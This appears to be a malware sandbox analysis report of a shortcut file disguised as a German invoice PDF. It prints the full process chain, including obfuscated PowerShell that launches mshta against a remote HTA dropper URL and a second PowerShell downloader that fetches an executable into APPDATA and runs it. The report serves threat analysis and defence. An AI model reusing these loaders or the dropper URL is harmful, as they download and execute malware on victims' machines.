Analysis

  • max time kernel
    122s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    14/11/2024, 20:00

General

  • Target

    Rechnung_2024_0094.pdf.lnk

  • Size

    3KB

  • MD5

    001c1231f099ae2188df58798c2c32cf

  • SHA1

    6e8394a04aa35551437d91910c787bf2165c175b

  • SHA256

    0d6049a23bc24a385997c0514ffc22a9c0c9ba681d1cac2f6cb5013bafeefe4f

  • SHA512

    b46b0ed51706e68a7b2e1d3609caaa2bc45676cb876c9ca72c51d9e34d2e5821dba256378950b3dc678d44c0cbfe14a6f599c66fb6843a34c76f7e258959e2c9

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://pub-5b9223b1b9e74a70be22a0816a8b7ead.r2.dev/123.hta

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Rechnung_2024_0094.pdf.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2636
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $a='48aAs.69edS3b/:15u2vtmrpL0-7h'; &(-join($a[(-648+652),(169-167),(990-966)])) ^[ (-join($a[(-648+652),(169-167),(990-966)])); ^[ /# (-join($a[(-476+497),(-648+652),(-158+186),(-824+844),(169-167)])); foreach($z in @((-105+133),(-426+446),(575-555),(173-150),(-217+221),(-509+523),(524-511),(711-698),(210-187),(-471+488),(-724+736),(-668+694),(-606+622),(-351+363),(906-899),(-719+737),(899-881),(166-155),(387-375),(-188+203),(-604+616),(783-776),(-378+386),(775-748),(660-660),(995-993),(803-776),(-863+888),(-920+932),(333-325),(994-976),(559-541),(700-698),(835-810),(-958+959),(425-410),(-411+417),(686-684),(-963+964),(569-557),(934-907),(861-853),(-724+726),(950-941),(494-489),(-470+492),(-789+807),(805-800),(-232+241),(-603+611),(1008-989),(-242+255),(-653+668),(-705+723),(580-569),(-536+541),(986-958),(736-716),(-368+370))){$m+=$a[$z]}; /# $m;
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2568
      • C:\Windows\system32\mshta.exe
        "C:\Windows\system32\mshta.exe" https://pub-5b9223b1b9e74a70be22a0816a8b7ead.r2.dev/123.hta
        3⤵
        • Blocklisted process makes network request
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:2540
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function hQzEzFacg($guorUJ, $OIoEigYq){[IO.File]::WriteAllBytes($guorUJ, $OIoEigYq)};function uuuOHRemK($guorUJ){if($guorUJ.EndsWith((ijnaJnaV @(5036,5090,5098,5098))) -eq $True){Start-Process (ijnaJnaV @(5104,5107,5100,5090,5098,5098,5041,5040,5036,5091,5110,5091)) $guorUJ}else{Start-Process $guorUJ}};function xlptFHdqR($FSYzd){$EBqZdo = New-Object (ijnaJnaV @(5068,5091,5106,5036,5077,5091,5088,5057,5098,5095,5091,5100,5106));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$OIoEigYq = $EBqZdo.DownloadData($FSYzd);return $OIoEigYq};function ijnaJnaV($UxikGUX){$MKUYRJP=4990;$VRwScE=$Null;foreach($NymBWJi in $UxikGUX){$VRwScE+=[char]($NymBWJi-$MKUYRJP)};return $VRwScE};function TQiKbyGz(){$vXhNEzkB = $env:APPDATA + '\';$WRrNymqB = xlptFHdqR (ijnaJnaV @(5094,5106,5106,5102,5105,5048,5037,5037,5102,5107,5088,5035,5043,5088,5047,5040,5040,5041,5088,5039,5088,5047,5091,5045,5042,5087,5045,5038,5088,5091,5040,5040,5087,5038,5046,5039,5044,5087,5046,5088,5045,5091,5087,5090,5036,5104,5040,5036,5090,5091,5108,5037,5059,5078,5056,5072,5072,5076,5071,5074,5036,5091,5110,5091));$AvKehPB = $vXhNEzkB + 'EXBRRVQT.exe';hQzEzFacg $AvKehPB $WRrNymqB;uuuOHRemK $AvKehPB;;;;}TQiKbyGz;
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3060

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2568-38-0x000007FEF58DE000-0x000007FEF58DF000-memory.dmp

    Filesize

    4KB

  • memory/2568-39-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

    Filesize

    2.9MB

  • memory/2568-40-0x0000000001FB0000-0x0000000001FB8000-memory.dmp

    Filesize

    32KB

  • memory/2568-42-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2568-41-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2568-44-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2568-43-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

  • memory/2568-45-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

    Filesize

    9.6MB

  • memory/3060-63-0x000000001B7E0000-0x000000001BAC2000-memory.dmp

    Filesize

    2.9MB

  • memory/3060-64-0x00000000003F0000-0x00000000003F8000-memory.dmp

    Filesize

    32KB